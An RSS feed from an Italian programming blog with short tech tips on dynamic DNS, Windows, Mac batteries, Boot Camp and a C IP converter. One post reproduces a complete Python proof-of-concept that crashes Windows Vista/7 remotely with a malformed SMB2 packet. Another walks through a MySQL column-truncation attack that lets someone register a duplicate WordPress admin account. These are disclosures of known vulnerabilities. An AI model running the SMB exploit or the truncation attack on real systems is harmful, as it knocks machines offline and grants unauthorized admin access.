<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mi chiamavano... programmatore &#187; Sistemi operativi</title>
	<atom:link href="http://www.roccatello.it/category/sistemi-operativi/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.roccatello.it</link>
	<description>Sviluppo web, iPhone e GIS 3D @ Rovigo</description>
	<lastBuildDate>Fri, 30 Jul 2010 10:55:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>DNS dinamico con Linux usando ddclient</title>
		<link>http://www.roccatello.it/linux/dns-dinamico-con-linux-usando-ddclient/</link>
		<comments>http://www.roccatello.it/linux/dns-dinamico-con-linux-usando-ddclient/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 14:52:42 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[ddclient]]></category>
		<category><![CDATA[dyndns]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=408</guid>
		<description><![CDATA[Traduco un mio articolo per Deadlock.it, che potrebbe interessare anche i non anglofoni. Il mio router, dopo una vita rispettabile e dignitosa, comincia a dare i primi segni di cedimento e alcune feature semplicemente smettono di funzionare. Una di queste è il supporto client i DNS dinamici: servizi che ci consentono di avere un hostname [...]]]></description>
			<content:encoded><![CDATA[<p>Traduco un mio articolo per Deadlock.it, che potrebbe interessare anche i non anglofoni.</p>
<p>Il mio router, dopo una vita rispettabile e dignitosa, comincia a dare i primi segni di cedimento e alcune feature semplicemente smettono di funzionare. <img src='http://www.roccatello.it/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </p>
<p>Una di queste è il supporto client i DNS dinamici: servizi che ci consentono di avere un hostname valido anche non avendo un IP statico, come nel caso delle ADSL residenziali. Tuttavia ho un server linux dietro il firewall, quindi perchè non utilizzarlo per aggiornare i record di dyndns.org?</p>
<p>Ecco come fare in una distribuzione debian like (io uso ubuntu server): <strong>sudo apt-get install ddclient</strong></p>
<p>Aprite il file di configurazione /etc/ddclient.conf con il vostro editor di testo preferito ed incollate:</p>
<p><strong>pid=/var/run/ddclient.pid<br />
 protocol=dyndns2<br />
 use=web<br />
 server=members.dyndns.org<br />
 login=&lt;username&gt;<br />
 password=’&lt;password&gt;’<br />
 &lt;your hostname&gt;</strong></p>
<p>Sostituite username, password e hostname ed avviate il servizio con:</p>
<p><strong>sudo /etc/init.d/ddclient start</strong></p>
<p>Ecco fatto! Divertitevi con il vostro nuovo servizio! <img src='http://www.roccatello.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=408&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/linux/dns-dinamico-con-linux-usando-ddclient/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Minimizzare le finestre non attive in Windows 7</title>
		<link>http://www.roccatello.it/sistemi-operativi/minimizzare-le-finestre-non-attive-in-windows-7/</link>
		<comments>http://www.roccatello.it/sistemi-operativi/minimizzare-le-finestre-non-attive-in-windows-7/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 13:13:30 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=397</guid>
		<description><![CDATA[Interessante articolo su Deadlock.it, ne faccio un traduzione: State lavorando in un documento e volete eliminare tutto il rumore di fondo delle altre finestre? Premente Windows + Home (inizio in alcune tastiere italiane) per nascondere tutte le finestre non attive, mantenendo l&#8217;attuale visualizzata. Una volta terminato il lavoro ripremete Windows + Home per ripristinare le [...]]]></description>
			<content:encoded><![CDATA[<p>Interessante articolo su <a href="http://www.deadlock.it">Deadlock.it</a>, ne faccio un traduzione:</p>
<p>State lavorando in un documento e volete eliminare tutto il rumore di fondo delle altre finestre?</p>
<p>Premente <strong>Windows + Home </strong>(inizio in alcune tastiere italiane) per <strong>nascondere tutte le finestre non attive</strong>, mantenendo l&#8217;attuale visualizzata.</p>
<p>Una volta terminato il lavoro ripremete Windows + Home per ripristinare le finestre nella posizione iniziale.</p>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=397&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/sistemi-operativi/minimizzare-le-finestre-non-attive-in-windows-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tornano gli schermi blu da remoto su Windows Vista e 7</title>
		<link>http://www.roccatello.it/sicurezza/tornano-gli-schermi-blu-da-remoto-su-windows-vista-e-7/</link>
		<comments>http://www.roccatello.it/sicurezza/tornano-gli-schermi-blu-da-remoto-su-windows-vista-e-7/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 12:24:51 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[bsod]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=322</guid>
		<description><![CDATA[Bastano poche righe di codice per far crashare i due recenti sistemi operativi Microsoft da remoto. Il nuovo driver che si occupa di gestire il protocollo SMB non gestisce propriamente gli header SAMBA per la funzionalità NEGOTIATE PROTOCOL REQUEST, la prima query SMB inviata dai client al server ed utilizzata per conoscere il protocollo da [...]]]></description>
			<content:encoded><![CDATA[<p>Bastano poche righe di codice per far crashare i due recenti sistemi operativi Microsoft da remoto.</p>
<p>Il nuovo driver che si occupa di gestire il protocollo SMB non gestisce propriamente gli header SAMBA per la funzionalità NEGOTIATE PROTOCOL REQUEST, la prima query SMB inviata dai client al server ed utilizzata per conoscere il protocollo da utilizzare.</p>
<p>Poche righe di python sono sufficienti:</p>
<p><code>#!/usr/bin/python<br />
# When SMB2.0 recieve a "&amp;" char in the "Process Id High" SMB header field it dies with a<br />
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket<br />
from time import sleep</code></p>
<p><code>host = "IP_ADDR", 445<br />
buff = (<br />
"\x00\x00\x00\x90" # Begin SMB header: Session message<br />
"\xff\x53\x4d\x42" # Server Component: SMB<br />
"\x72\x00\x00\x00" # Negociate Protocol<br />
"\x00\x18\x53\xc8" # Operation 0x18 &amp; sub 0xc853<br />
"\x00\x26"# Process ID High: --&gt; <img src='http://www.roccatello.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  normal value should be "\x00\x00"<br />
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"<br />
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"<br />
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"<br />
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"<br />
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"<br />
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"<br />
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"<br />
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"<br />
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"<br />
"\x30\x30\x32\x00"<br />
)<br />
s = socket()</code></p>
<p><code>s.connect(host)<br />
s.send(buff)<br />
s.close()</code></p>
<p><a href="http://seclists.org/fulldisclosure/2009/Sep/0039.html">Full disclosure &#8211; Vista and 7 BSOD</a></p>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=322&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/sicurezza/tornano-gli-schermi-blu-da-remoto-su-windows-vista-e-7/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Usability tip: sostituire automaticamente la versione precedente</title>
		<link>http://www.roccatello.it/sviluppo-software/usability-tip-sostituire-automaticamente-la-versione-precedente/</link>
		<comments>http://www.roccatello.it/sviluppo-software/usability-tip-sostituire-automaticamente-la-versione-precedente/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 13:02:12 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Sviluppo software]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=192</guid>
		<description><![CDATA[Un installer dovrebbe sempre disinstallare la versione precedente ed aggiornare il software installato, a meno di specifiche indicazioni contrarie. Un piccolo accorgimento che farà odiare molto meno i rilasci frequenti]]></description>
			<content:encoded><![CDATA[<p><strong>Un installer dovrebbe sempre disinstallare la versione precedente ed aggiornare il software installato, a meno di specifiche indicazioni contrarie.</strong></p>
<p>Un piccolo accorgimento che farà odiare molto meno i rilasci frequenti <img src='http://www.roccatello.it/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=192&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/sviluppo-software/usability-tip-sostituire-automaticamente-la-versione-precedente/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trovare Uptime di Windows XP / Vista</title>
		<link>http://www.roccatello.it/sviluppo-software/trovare-uptime-di-windows-xp-vista/</link>
		<comments>http://www.roccatello.it/sviluppo-software/trovare-uptime-di-windows-xp-vista/#comments</comments>
		<pubDate>Mon, 29 Sep 2008 06:48:47 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Sviluppo software]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[uptime]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=178</guid>
		<description><![CDATA[Stamane ho trovato uno dei computer dell&#8217;ufficio acceso e mi sono chieso&#8230; uhm ma da quando? Sotto linux c&#8217;è il comodo comando uptime che fa tutto quello di cui avevo bisogno ma sotto Windows la cosa è leggermente più complessa. Se non si conoscono gli strumenti adatti Per conoscere data e ora dell&#8217;ultimo avvio aprire [...]]]></description>
			<content:encoded><![CDATA[<p>Stamane ho trovato uno dei computer dell&#8217;ufficio acceso e mi sono chieso&#8230; uhm ma da quando?</p>
<p>Sotto linux c&#8217;è il comodo comando uptime che fa tutto quello di cui avevo bisogno ma sotto Windows la cosa è leggermente più complessa. Se non si conoscono gli strumenti adatti <img src='http://www.roccatello.it/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Per conoscere data e ora dell&#8217;ultimo avvio aprire una console (prompt dei comandi) dal menu Start.</p>
<blockquote><p>Fate <strong>Esegui</strong> e poi <strong>cmd.exe</strong></p></blockquote>
<p>Scrivere ora il seguente comando:</p>
<blockquote><p><strong>systeminfo | find &#8220;Tempo di avvio&#8221;</strong></p></blockquote>
<p>Ecco fatto, data e ora di avvio in bella vista <img src='http://www.roccatello.it/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><em>Edit del post</em></p>
<p>Come segnala giustamente Francesco sotto Windows XP SP3 la sintassi corretta:</p>
<blockquote><p><strong>systeminfo | find &#8220;Tempo di funzionamento sistema&#8221;</strong></p></blockquote>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=178&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/sviluppo-software/trovare-uptime-di-windows-xp-vista/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Analisi vulnerabilità WordPress &#8211; SQL Column Truncation</title>
		<link>http://www.roccatello.it/sicurezza/analisi-vulnerabilita-wordpress-sql-column-truncation/</link>
		<comments>http://www.roccatello.it/sicurezza/analisi-vulnerabilita-wordpress-sql-column-truncation/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 13:03:41 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=176</guid>
		<description><![CDATA[Pochi giorni fa è stata scoperta una vulnerabilità molto seria nella piattaforma di blogging WordPress. La vulnerabilità è dovuta, oltre ad una mancanza nel codice, ad un problema legato al database in esecuzione per la persistenza dei dati: MySQL. La vulnerabilità è dovuta ad una &#8220;feature&#8221; implementata da MySQL per velocizzare i confronti tra le [...]]]></description>
			<content:encoded><![CDATA[<p>Pochi giorni fa è stata scoperta una vulnerabilità molto seria nella piattaforma di blogging WordPress.<br />
La vulnerabilità è dovuta, oltre ad una mancanza nel codice, ad un problema legato al database in esecuzione per la persistenza dei dati: <strong>MySQL</strong>.</p>
<p>La vulnerabilità è dovuta ad una &#8220;feature&#8221; implementata da MySQL per velocizzare i confronti tra le stringhe e ad una soluzione utilizzata per inserire dati troppo estesi per la dimensione della colonna: il <em><strong>troncamento</strong></em>.<br />
Nella configurazione di default viene solamente emesso un warning, che spesso viene ignorato dalle applicazioni che usano il database e quindi non indicano il possibile problema. Utilizzando la configurazione è possibile <strong>convertire gli avvisi in errori impostando il SQL mode STRICT_ALL_TABLES</strong>, tuttavia questo renderà inutilizzabili quasi tutte le applicazioni web.</p>
<p>Ma vediamo la vulnerabilità&#8230;</p>
<p>Per il confronto tra stringhe l&#8217;impostazione di default di MySQL <strong> non prevede l&#8217;uso della modalità binaria </strong>e quindi del confronto bit a bit. Vengono infatti utilizzate tecniche più rilassate che effettuano l&#8217;operazione di trailing trim sulle stringhe. In pratica scrivere &#8216;software engineer&#8217; e &#8216;software engineer     &#8216; è assolutamente lo stesso in un confronto con le impostazioni predefinite.</p>
<p>Inserire un nuovo utente nel sistema comporta ovviamente la rilevazione di eventuali nomi utente già immessi e quindi una query del genere:</p>
<blockquote><p>SELECT * FROM utente WHERE nomeutente = &#8216;admin   &#8216;;</p></blockquote>
<p>Per il discorso fatto prima il sistema cerca &#8216;admin&#8217; e la query è equivalente a:</p>
<blockquote><p>SELECT * FROM utente WHERE nomeutente = &#8216;admin&#8217;;</p></blockquote>
<p>Ricordiamo però il discorso del troncamento delle stringhe e supponiamo che nomeutente sia di lunghezza massima 8.<br />
Se noi inserissimo il nome utente &#8216;admin   troncami&#8217;, tutti i caratteri che compongono la parola &#8216;troncami&#8217; verrebbero rimossi e la query risulterebbe equivalente a quanto visto.</p>
<p>Facciamo un passo indietro. A<strong>l fine di velocizzare ulteriormente le ricerche su stringhe MySQL controlla prima la lunghezza della stringa inserita con la larghezza della colonna.</strong></p>
<p>Nel nostro caso &#8216;admin   troncami&#8217; ha lunghezza 16 mentre il campo <em>nomeutente </em>è di dimensione 8. Di conseguenza la query di selezione per controllare se il nome utente inserito sia presente non ha successo ed il sistema procede con l&#8217;inserimento.</p>
<p>A questo punto viene eseguita la query di insert:</p>
<blockquote><p>INSERT INTO utente (nomeutente, password) VALUES (&#8216;admin   troncami&#8217;, &#8216;miapassinmd5&#8242;);</p></blockquote>
<p>che però diventa</p>
<blockquote><p>INSERT INTO utente (nomeutente, password) VALUES (&#8216;admin&#8217;, &#8216;miapassinmd5&#8242;);</p></blockquote>
<p><strong>A questo punto ho due utenti admin nel database e posso entrare tranquillamente.<br />
</strong></p>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=176&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/sicurezza/analisi-vulnerabilita-wordpress-sql-column-truncation/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Calibrare la batteria dei notebook</title>
		<link>http://www.roccatello.it/macosx/calibrare-la-batteria-dei-notebook/</link>
		<comments>http://www.roccatello.it/macosx/calibrare-la-batteria-dei-notebook/#comments</comments>
		<pubDate>Sun, 31 Aug 2008 14:10:28 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[batteria]]></category>
		<category><![CDATA[calibrazione]]></category>
		<category><![CDATA[mac]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=164</guid>
		<description><![CDATA[Al fine di mantenere la massima efficienza della batteria del vostro portatile, che sia o meno un apple macbook (pro o no non fa differenza), è necessario procedere periodicamente alla calibrazione. La calibrazione consente di far leggere al notebook la reale capacità della batteria e non quella presunta. Per procedere alla calibrazione è necessario caricare [...]]]></description>
			<content:encoded><![CDATA[<p>Al fine di mantenere la massima efficienza della batteria del vostro portatile, che sia o meno un apple macbook (pro o no non fa differenza), è necessario procedere periodicamente alla calibrazione.</p>
<p>La calibrazione consente di far leggere al notebook la reale capacità della batteria e non quella presunta.<br />
Per procedere alla calibrazione è necessario caricare al massimo la batteria e lasciare l&#8217;alimentatore collegato per almeno un paio d&#8217;ore. Fatto ciò staccate l&#8217;alimentatore è utilizzate il portatile finchè questo passa automaticamente alla modalità standby (o si spegne a seconda delle impostazioni energetiche). Lasciate il portatile in questo stato per almeno 8 ore, in modo da favorire la scarica completa. A questo punto caricate il portatile e avete terminato la procedura.</p>
<p>Spesso con questa procedura si recuperano minuti di autonomia preziosi.</p>
<p>Se siete felici possessori di macbook (pro) potete inoltre adottare questi accorgimenti:</p>
<ul>
<li><strong>Resettare la PRAM</strong><br />
All&#8217;avvio tenete premuto Mela + Opzione + P + R</li>
<li><strong>Resettare la PMU</strong><br />
Togliete alimentatore e batteria e tenete premuto il pulsante di avvio per 10 seconid.</li>
</ul>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=164&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/macosx/calibrare-la-batteria-dei-notebook/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cityvu, 3D GIS CityGML Viewer &#8211; Official demo video</title>
		<link>http://www.roccatello.it/sviluppo-software/cityvu-3d-gis-citygml-viewer-official-demo-video/</link>
		<comments>http://www.roccatello.it/sviluppo-software/cityvu-3d-gis-citygml-viewer-official-demo-video/#comments</comments>
		<pubDate>Thu, 10 Jul 2008 19:38:35 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Sviluppo software]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[gis]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[citygml]]></category>
		<category><![CDATA[cityvu]]></category>
		<category><![CDATA[demo]]></category>
		<category><![CDATA[multiplatform]]></category>
		<category><![CDATA[ogc]]></category>
		<category><![CDATA[opensource]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=146</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.roccatello.it/sviluppo-software/cityvu-3d-gis-citygml-viewer-official-demo-video/"><em>Clicca qui per vedere il video incorporato.</em></a></p>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=146&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/sviluppo-software/cityvu-3d-gis-citygml-viewer-official-demo-video/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Soluzione: Boot Camp update 2.1 non si installa</title>
		<link>http://www.roccatello.it/sviluppo-software/soluzione-boot-camp-update-21-non-si-installa/</link>
		<comments>http://www.roccatello.it/sviluppo-software/soluzione-boot-camp-update-21-non-si-installa/#comments</comments>
		<pubDate>Sun, 22 Jun 2008 14:59:22 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Sviluppo software]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[bootcamp]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[vista]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=144</guid>
		<description><![CDATA[Per risolvere: Eseguite &#8220;regedit&#8221; Cercate &#8220;Servizi Boot Camp&#8221; Modificate la chiave &#8220;Language&#8221; con il valore decimale &#8220;1033&#8243; Eseguite l&#8217;installer per BootCamp 2.1 Et voilà!]]></description>
			<content:encoded><![CDATA[<p>Per risolvere:</p>
<ul>
<li>Eseguite &#8220;regedit&#8221;</li>
<li>Cercate &#8220;Servizi Boot Camp&#8221;</li>
<li>Modificate la chiave &#8220;Language&#8221; con il valore decimale &#8220;1033&#8243;</li>
<li>Eseguite l&#8217;installer per BootCamp 2.1</li>
</ul>
<p>Et voilà! <img src='http://www.roccatello.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=144&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/sviluppo-software/soluzione-boot-camp-update-21-non-si-installa/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Convertire un indirizzo ip da aaa.bbb.ccc.ddd in un numero</title>
		<link>http://www.roccatello.it/sistemi-operativi/convertire-un-indirizzo-ip-da-aaabbbcccddd-in-un-numero/</link>
		<comments>http://www.roccatello.it/sistemi-operativi/convertire-un-indirizzo-ip-da-aaabbbcccddd-in-un-numero/#comments</comments>
		<pubDate>Mon, 28 Apr 2008 20:53:51 +0000</pubDate>
		<dc:creator>Eduard Roccatello</dc:creator>
				<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sistemi operativi]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[ip]]></category>

		<guid isPermaLink="false">http://www.roccatello.it/?p=134</guid>
		<description><![CDATA[Potrebbe essere un&#8217;operazione banale per molti di voi che leggono questo blog tuttavia per lo sviluppo di un progetto ho dovuto scrivermi un piccolo convertire che vi allego qui. La conversione è piuttosto triviale in quanto basta fare il parsing di una stringa abbinato di uno shift di 8 bit per volta partendo ovviamente dal [...]]]></description>
			<content:encoded><![CDATA[<p>Potrebbe essere un&#8217;operazione banale per molti di voi che leggono questo blog tuttavia per lo sviluppo di un progetto ho dovuto scrivermi un piccolo convertire che vi allego qui.</p>
<p>La conversione è piuttosto triviale in quanto basta fare il parsing di una stringa abbinato di uno shift di 8 bit per volta partendo ovviamente dal contrario.</p>
<blockquote><p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;</p>
<p>/**<br />
* IP Address to INT / HEX Converter<br />
* by Eduard Roccatello &lt;eduard@roccatello.it&gt;<br />
*/<br />
int main (int argc, char **argv)<br />
{<br />
int ip_bytes[4];<br />
char *tok;</p>
<p>if (argc &lt; 2)<br />
{<br />
fprintf(stderr, &#8220;Usage: iptolong xxx.yyy.www.zzz\n&#8221;);<br />
return -1;<br />
}</p>
<p>memset(&amp;ip_bytes, 0, sizeof(ip_bytes));<br />
tok = strtok(argv[1], &#8220;.&#8221;);<br />
int i = 0;<br />
while (tok != NULL &amp;&amp; i &lt; 4)<br />
{<br />
ip_bytes[i] = atoi(tok);<br />
tok = strtok(NULL, &#8220;.&#8221;);<br />
i++;<br />
}</p>
<p>long ip_long = 0;<br />
for (i = 0; i &lt; 4; i++)<br />
{<br />
ip_long += ip_bytes[3-i] &lt;&lt; (i * 8);<br />
}</p>
<p>fprintf(stdout, &#8220;int: %u\nhex: %x\n&#8221;, ip_long, ip_long);<br />
return 0;<br />
}</p></blockquote>
<p>Salvate su file e compilate con un banalissimo <strong>gcc -o iptolong iptolong.c</strong></p>
<p>Happy hacking <img src='http://www.roccatello.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://www.roccatello.it/?ak_action=api_record_view&id=134&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.roccatello.it/sistemi-operativi/convertire-un-indirizzo-ip-da-aaabbbcccddd-in-un-numero/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
